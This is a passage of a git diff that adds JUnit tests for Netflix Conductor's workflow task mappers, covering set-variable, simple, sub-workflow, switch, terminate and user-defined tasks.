    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; + +import org.junit.Assert; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +public class SetVariableTaskMapperTest { + + @Test + public void getMappedTasks() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setType(TaskType.TASK_TYPE_SET_VARIABLE); + + String taskId = new IDGenerator().generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = new SetVariableTaskMapper().getMappedTasks(taskMapperContext); + + Assert.assertNotNull(mappedTasks); + Assert.assertEquals(1, mappedTasks.size()); + Assert.assertEquals(TaskType.TASK_TYPE_SET_VARIABLE, mappedTasks.get(0).getTaskType()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/SimpleTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/SimpleTaskMapperTest.java new file mode 100644 index 0000000..0bc7c04 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/SimpleTaskMapperTest.java @@ -0,0 +1,107 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.mockito.Mockito.mock; + +public class SimpleTaskMapperTest { + + private SimpleTaskMapper simpleTaskMapper; + + private IDGenerator idGenerator = new IDGenerator(); + + @Before + public void setUp() { + ParametersUtils parametersUtils = mock(ParametersUtils.class); + simpleTaskMapper = new SimpleTaskMapper(parametersUtils); + } + + @Test + public void getMappedTasks() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("simple_task"); + workflowTask.setTaskDefinition(new TaskDef("simple_task")); + + String taskId = idGenerator.generate(); + String retriedTaskId = idGenerator.generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .build(); + + List mappedTasks = simpleTaskMapper.getMappedTasks(taskMapperContext); + assertNotNull(mappedTasks); + assertEquals(1, mappedTasks.size()); + } + + @Test + public void getMappedTasksWithNoTaskDefinition() { + + // Given a workflow task without a task definition + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("simple_task"); + String taskId = idGenerator.generate(); + String retriedTaskId = idGenerator.generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .build(); + + // when + List mappedTasks = simpleTaskMapper.getMappedTasks(taskMapperContext); + + // then a task is created with default task definition values + assertNotNull(mappedTasks); + assertEquals(1, mappedTasks.size()); + assertEquals(TaskModel.Status.SCHEDULED, mappedTasks.get(0).getStatus()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/SubWorkflowTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/SubWorkflowTaskMapperTest.java new file mode 100644 index 0000000..3f43f78 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/SubWorkflowTaskMapperTest.java @@ -0,0 +1,265 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.DeciderService; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyMap; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class SubWorkflowTaskMapperTest { + + private SubWorkflowTaskMapper subWorkflowTaskMapper; + private ParametersUtils parametersUtils; + private DeciderService deciderService; + private IDGenerator idGenerator; + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + @Before + public void setUp() { + parametersUtils = mock(ParametersUtils.class); + MetadataDAO metadataDAO = mock(MetadataDAO.class); + subWorkflowTaskMapper = new SubWorkflowTaskMapper(parametersUtils, metadataDAO); + deciderService = mock(DeciderService.class); + idGenerator = new IDGenerator(); + } + + @Test + public void getMappedTasks() { + // Given + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(workflowDef); + WorkflowTask workflowTask = new WorkflowTask(); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName("Foo"); + subWorkflowParams.setVersion(2); + workflowTask.setSubWorkflowParam(subWorkflowParams); + workflowTask.setStartDelay(30); + Map taskInput = new HashMap<>(); + Map taskToDomain = + new HashMap<>() { + { + put("*", "unittest"); + } + }; + + Map subWorkflowParamMap = new HashMap<>(); + subWorkflowParamMap.put("name", "FooWorkFlow"); + subWorkflowParamMap.put("version", 2); + subWorkflowParamMap.put("taskToDomain", taskToDomain); + when(parametersUtils.getTaskInputV2(anyMap(), any(WorkflowModel.class), any(), any())) + .thenReturn(subWorkflowParamMap); + + // When + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(workflowTask) + .withTaskInput(taskInput) + .withRetryCount(0) + .withTaskId(idGenerator.generate()) + .withDeciderService(deciderService) + .build(); + + List mappedTasks = subWorkflowTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertFalse(mappedTasks.isEmpty()); + assertEquals(1, mappedTasks.size()); + + TaskModel subWorkFlowTask = mappedTasks.get(0); + assertEquals(TaskModel.Status.SCHEDULED, subWorkFlowTask.getStatus()); + assertEquals(TASK_TYPE_SUB_WORKFLOW, subWorkFlowTask.getTaskType()); + assertEquals(30, subWorkFlowTask.getCallbackAfterSeconds()); + assertEquals(taskToDomain, subWorkFlowTask.getInputData().get("subWorkflowTaskToDomain")); + } + + @Test + public void testTaskToDomain() { + // Given + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(workflowDef); + WorkflowTask workflowTask = new WorkflowTask(); + Map taskToDomain = + new HashMap<>() { + { + put("*", "unittest"); + } + }; + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName("Foo"); + subWorkflowParams.setVersion(2); + subWorkflowParams.setTaskToDomain(taskToDomain); + workflowTask.setSubWorkflowParam(subWorkflowParams); + Map taskInput = new HashMap<>(); + + Map subWorkflowParamMap = new HashMap<>(); + subWorkflowParamMap.put("name", "FooWorkFlow"); + subWorkflowParamMap.put("version", 2); + + when(parametersUtils.getTaskInputV2(anyMap(), any(WorkflowModel.class), any(), any())) + .thenReturn(subWorkflowParamMap); + + // When + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(workflowTask) + .withTaskInput(taskInput) + .withRetryCount(0) + .withTaskId(new IDGenerator().generate()) + .withDeciderService(deciderService) + .build(); + + List mappedTasks = subWorkflowTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertFalse(mappedTasks.isEmpty()); + assertEquals(1, mappedTasks.size()); + + TaskModel subWorkFlowTask = mappedTasks.get(0); + assertEquals(TaskModel.Status.SCHEDULED, subWorkFlowTask.getStatus()); + assertEquals(TASK_TYPE_SUB_WORKFLOW, subWorkFlowTask.getTaskType()); + } + + @Test + public void getSubWorkflowParams() { + WorkflowTask workflowTask = new WorkflowTask(); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName("Foo"); + subWorkflowParams.setVersion(2); + workflowTask.setSubWorkflowParam(subWorkflowParams); + + assertEquals(subWorkflowParams, subWorkflowTaskMapper.getSubWorkflowParams(workflowTask)); + } + + @Test + public void getExceptionWhenNoSubWorkflowParamsPassed() { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("FooWorkFLow"); + + expectedException.expect(TerminateWorkflowException.class); + expectedException.expectMessage( + String.format( + "Task %s is defined as sub-workflow and is missing subWorkflowParams. " + + "Please check the workflow definition", + workflowTask.getName())); + + subWorkflowTaskMapper.getSubWorkflowParams(workflowTask); + } + + /** + * Validates that a String expression in SubWorkflowParams.workflowDefinition is resolved at + * runtime to the concrete object it references. This is the inline sub-workflow path: the + * caller sets workflowDefinition to "${someTask.output.result}" and expects the mapper to + * resolve it to the actual Map (which SubWorkflow.start() then converts to a WorkflowDef). + * + *

    Uses a real ParametersUtils instance so that the expression resolution logic is exercised + * rather than mocked. + */ + @Test + public void workflowDefinitionStringExpressionIsResolvedToRuntimeValue() { + // Build a real ParametersUtils — only needs an ObjectMapper, no database. + ParametersUtils realParametersUtils = + new ParametersUtils(new ObjectMapperProvider().getObjectMapper()); + MetadataDAO metadataDAO = mock(MetadataDAO.class); + SubWorkflowTaskMapper mapper = new SubWorkflowTaskMapper(realParametersUtils, metadataDAO); + + // Set up a workflow model that has a completed task whose output contains the + // inline workflow definition Map we want to pass to the sub-workflow. + Map inlineWfDef = new HashMap<>(); + inlineWfDef.put("name", "dynamic_plan_wf"); + inlineWfDef.put("version", 1); + inlineWfDef.put("tasks", List.of()); + + TaskModel planTask = new TaskModel(); + planTask.setReferenceTaskName("planTask"); + planTask.setTaskType("SIMPLE"); + planTask.setStatus(TaskModel.Status.COMPLETED); + planTask.addOutput("result", inlineWfDef); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("parentWf"); + workflowDef.setSchemaVersion(2); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(workflowDef); + workflowModel.getTasks().add(planTask); + + // subWorkflowParams.workflowDefinition is a String expression — not a concrete object. + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName("dynamic_plan_wf"); + subWorkflowParams.setVersion(1); + subWorkflowParams.setWorkflowDefinition("${planTask.output.result}"); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setSubWorkflowParam(subWorkflowParams); + + TaskMapperContext context = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withTaskId(new IDGenerator().generate()) + .withDeciderService(mock(DeciderService.class)) + .build(); + + List mappedTasks = mapper.getMappedTasks(context); + + assertFalse(mappedTasks.isEmpty()); + TaskModel subWorkflowTask = mappedTasks.get(0); + assertEquals(TASK_TYPE_SUB_WORKFLOW, subWorkflowTask.getTaskType()); + + // The critical assertion: the String expression must have been resolved to the actual Map. + // If the bug is present, subWorkflowDefinition is the literal String + // "${planTask.output.result}". + Object resolved = subWorkflowTask.getInputData().get("subWorkflowDefinition"); + assertNotNull("subWorkflowDefinition must not be null", resolved); + assertFalse( + "subWorkflowDefinition must be the resolved Map, not the raw expression String", + resolved instanceof String); + @SuppressWarnings("unchecked") + Map resolvedMap = (Map) resolved; + assertEquals("dynamic_plan_wf", resolvedMap.get("name")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/SwitchTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/SwitchTaskMapperTest.java new file mode 100644 index 0000000..99b36f7 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/SwitchTaskMapperTest.java @@ -0,0 +1,347 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.DeciderService; +import com.netflix.conductor.core.execution.evaluators.Evaluator; +import com.netflix.conductor.core.execution.evaluators.JavascriptEvaluator; +import com.netflix.conductor.core.execution.evaluators.ValueParamEvaluator; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + SwitchTaskMapperTest.TestConfiguration.class + }) +@RunWith(SpringRunner.class) +public class SwitchTaskMapperTest { + + private IDGenerator idGenerator; + private ParametersUtils parametersUtils; + private DeciderService deciderService; + // Subject + private SwitchTaskMapper switchTaskMapper; + + @Configuration + @ComponentScan(basePackageClasses = {Evaluator.class}) // load all Evaluator beans. + public static class TestConfiguration {} + + @Autowired private ObjectMapper objectMapper; + + @Autowired private Map evaluators; + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + Map ip1; + WorkflowTask task1; + WorkflowTask task2; + WorkflowTask task3; + + @Before + public void setUp() { + parametersUtils = new ParametersUtils(objectMapper); + idGenerator = new IDGenerator(); + + ip1 = new HashMap<>(); + ip1.put("p1", "${workflow.input.param1}"); + ip1.put("p2", "${workflow.input.param2}"); + ip1.put("case", "${workflow.input.case}"); + + task1 = new WorkflowTask(); + task1.setName("Test1"); + task1.setInputParameters(ip1); + task1.setTaskReferenceName("t1"); + + task2 = new WorkflowTask(); + task2.setName("Test2"); + task2.setInputParameters(ip1); + task2.setTaskReferenceName("t2"); + + task3 = new WorkflowTask(); + task3.setName("Test3"); + task3.setInputParameters(ip1); + task3.setTaskReferenceName("t3"); + deciderService = mock(DeciderService.class); + switchTaskMapper = new SwitchTaskMapper(evaluators); + } + + @Test + public void getMappedTasks() { + + // Given + // Task Definition + TaskDef taskDef = new TaskDef(); + Map inputMap = new HashMap<>(); + inputMap.put("Id", "${workflow.input.Id}"); + List> taskDefinitionInput = new LinkedList<>(); + taskDefinitionInput.add(inputMap); + + // Switch task instance + WorkflowTask switchTask = new WorkflowTask(); + switchTask.setType(TaskType.SWITCH.name()); + switchTask.setName("Switch"); + switchTask.setTaskReferenceName("switchTask"); + switchTask.setDefaultCase(Collections.singletonList(task1)); + switchTask.getInputParameters().put("Id", "${workflow.input.Id}"); + switchTask.setEvaluatorType(JavascriptEvaluator.NAME); + switchTask.setExpression( + "if ($.Id == null) 'bad input'; else if ( ($.Id != null && $.Id % 2 == 0)) 'even'; else 'odd'; "); + Map> decisionCases = new HashMap<>(); + decisionCases.put("even", Collections.singletonList(task2)); + decisionCases.put("odd", Collections.singletonList(task3)); + switchTask.setDecisionCases(decisionCases); + // Workflow instance + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setSchemaVersion(2); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(workflowDef); + Map workflowInput = new HashMap<>(); + workflowInput.put("Id", "22"); + workflowModel.setInput(workflowInput); + + Map body = new HashMap<>(); + body.put("input", taskDefinitionInput); + taskDef.getInputTemplate().putAll(body); + + Map input = + parametersUtils.getTaskInput( + switchTask.getInputParameters(), workflowModel, null, null); + + TaskModel theTask = new TaskModel(); + theTask.setReferenceTaskName("Foo"); + theTask.setTaskId(idGenerator.generate()); + + when(deciderService.getTasksToBeScheduled(workflowModel, task2, 0, null)) + .thenReturn(Collections.singletonList(theTask)); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(switchTask) + .withTaskInput(input) + .withRetryCount(0) + .withTaskId(idGenerator.generate()) + .withDeciderService(deciderService) + .build(); + + // When + List mappedTasks = switchTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(2, mappedTasks.size()); + assertEquals("switchTask", mappedTasks.get(0).getReferenceTaskName()); + assertEquals("Foo", mappedTasks.get(1).getReferenceTaskName()); + } + + @Test + public void getMappedTasksWithValueParamEvaluator() { + + // Given + // Task Definition + TaskDef taskDef = new TaskDef(); + Map inputMap = new HashMap<>(); + inputMap.put("Id", "${workflow.input.Id}"); + List> taskDefinitionInput = new LinkedList<>(); + taskDefinitionInput.add(inputMap); + + // Switch task instance + WorkflowTask switchTask = new WorkflowTask(); + switchTask.setType(TaskType.SWITCH.name()); + switchTask.setName("Switch"); + switchTask.setTaskReferenceName("switchTask"); + switchTask.setDefaultCase(Collections.singletonList(task1)); + switchTask.getInputParameters().put("Id", "${workflow.input.Id}"); + switchTask.setEvaluatorType(ValueParamEvaluator.NAME); + switchTask.setExpression("Id"); + Map> decisionCases = new HashMap<>(); + decisionCases.put("even", Collections.singletonList(task2)); + decisionCases.put("odd", Collections.singletonList(task3)); + switchTask.setDecisionCases(decisionCases); + // Workflow instance + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setSchemaVersion(2); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(workflowDef); + Map workflowInput = new HashMap<>(); + workflowInput.put("Id", "even"); + workflowModel.setInput(workflowInput); + + Map body = new HashMap<>(); + body.put("input", taskDefinitionInput); + taskDef.getInputTemplate().putAll(body); + + Map input = + parametersUtils.getTaskInput( + switchTask.getInputParameters(), workflowModel, null, null); + + TaskModel theTask = new TaskModel(); + theTask.setReferenceTaskName("Foo"); + theTask.setTaskId(idGenerator.generate()); + + when(deciderService.getTasksToBeScheduled(workflowModel, task2, 0, null)) + .thenReturn(Collections.singletonList(theTask)); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(switchTask) + .withTaskInput(input) + .withRetryCount(0) + .withTaskId(idGenerator.generate()) + .withDeciderService(deciderService) + .build(); + + // When + List mappedTasks = switchTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(2, mappedTasks.size()); + assertEquals("switchTask", mappedTasks.get(0).getReferenceTaskName()); + assertEquals("Foo", mappedTasks.get(1).getReferenceTaskName()); + } + + @Test + public void getMappedTasksWithEmptyMatchedCase() { + // A case key matches but has no tasks — should NOT fall through to defaultCase. + WorkflowTask switchTask = new WorkflowTask(); + switchTask.setType(TaskType.SWITCH.name()); + switchTask.setName("Switch"); + switchTask.setTaskReferenceName("switchTask"); + switchTask.setDefaultCase(Collections.singletonList(task1)); + switchTask.setEvaluatorType(JavascriptEvaluator.NAME); + switchTask.setExpression("'true'"); + Map> decisionCases = new HashMap<>(); + decisionCases.put("true", Collections.emptyList()); + switchTask.setDecisionCases(decisionCases); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setSchemaVersion(2); + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(workflowDef); + + Map input = + parametersUtils.getTaskInput( + switchTask.getInputParameters(), workflowModel, null, null); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(switchTask) + .withTaskInput(input) + .withRetryCount(0) + .withTaskId(idGenerator.generate()) + .withDeciderService(deciderService) + .build(); + + List mappedTasks = switchTaskMapper.getMappedTasks(taskMapperContext); + + // Only the SWITCH task itself; defaultCase task must not be scheduled. + assertEquals(1, mappedTasks.size()); + assertEquals("switchTask", mappedTasks.get(0).getReferenceTaskName()); + } + + @Test + public void getMappedTasksWhenEvaluatorThrowsException() { + + // Given + // Task Definition + TaskDef taskDef = new TaskDef(); + Map inputMap = new HashMap<>(); + List> taskDefinitionInput = new LinkedList<>(); + taskDefinitionInput.add(inputMap); + + // Switch task instance + WorkflowTask switchTask = new WorkflowTask(); + switchTask.setType(TaskType.SWITCH.name()); + switchTask.setName("Switch"); + switchTask.setTaskReferenceName("switchTask"); + switchTask.setDefaultCase(Collections.singletonList(task1)); + switchTask.setEvaluatorType(JavascriptEvaluator.NAME); + switchTask.setExpression("undefinedVariable"); + Map> decisionCases = new HashMap<>(); + decisionCases.put("even", Collections.singletonList(task2)); + switchTask.setDecisionCases(decisionCases); + // Workflow instance + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setSchemaVersion(2); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(workflowDef); + + Map body = new HashMap<>(); + body.put("input", taskDefinitionInput); + taskDef.getInputTemplate().putAll(body); + + Map input = + parametersUtils.getTaskInput( + switchTask.getInputParameters(), workflowModel, null, null); + + TaskModel theTask = new TaskModel(); + theTask.setReferenceTaskName("Foo"); + theTask.setTaskId(idGenerator.generate()); + + when(deciderService.getTasksToBeScheduled(workflowModel, task2, 0, null)) + .thenReturn(Collections.singletonList(theTask)); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(switchTask) + .withTaskInput(input) + .withRetryCount(0) + .withTaskId(idGenerator.generate()) + .withDeciderService(deciderService) + .build(); + + // When + List mappedTasks = switchTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(1, mappedTasks.size()); + assertEquals("switchTask", mappedTasks.get(0).getReferenceTaskName()); + assertEquals(TaskModel.Status.FAILED, mappedTasks.get(0).getStatus()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/TerminateTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/TerminateTaskMapperTest.java new file mode 100644 index 0000000..b7b4fad --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/TerminateTaskMapperTest.java @@ -0,0 +1,68 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; + +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.mockito.Mockito.mock; + +public class TerminateTaskMapperTest { + private ParametersUtils parametersUtils; + + @Before + public void setUp() { + parametersUtils = mock(ParametersUtils.class); + } + + @Test + public void getMappedTasks() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setType(TaskType.TASK_TYPE_TERMINATE); + + String taskId = new IDGenerator().generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = + new TerminateTaskMapper(parametersUtils).getMappedTasks(taskMapperContext); + + Assert.assertNotNull(mappedTasks); + Assert.assertEquals(1, mappedTasks.size()); + Assert.assertEquals(TaskType.TASK_TYPE_TERMINATE, mappedTasks.get(0).getTaskType()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/UserDefinedTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/UserDefinedTaskMapperTest.java new file mode 100644 index 0000000..b465b1f --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/UserDefinedTaskMapperTest.java @@ -0,0 +1,118 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.mock; + +public class UserDefinedTaskMapperTest { + + private IDGenerator idGenerator; + + private UserDefinedTaskMapper userDefinedTaskMapper; + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + @Before + public void setUp() { + ParametersUtils parametersUtils = mock(ParametersUtils.class); + MetadataDAO metadataDAO = mock(MetadataDAO.class); + userDefinedTaskMapper = new UserDefinedTaskMapper(parametersUtils, metadataDAO); + idGenerator = new IDGenerator(); + } + + @Test + public void getMappedTasks() { + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("user_task"); + workflowTask.setType(TaskType.USER_DEFINED.name()); + workflowTask.setTaskDefinition(new TaskDef("user_task")); + String taskId = idGenerator.generate(); + String retriedTaskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new 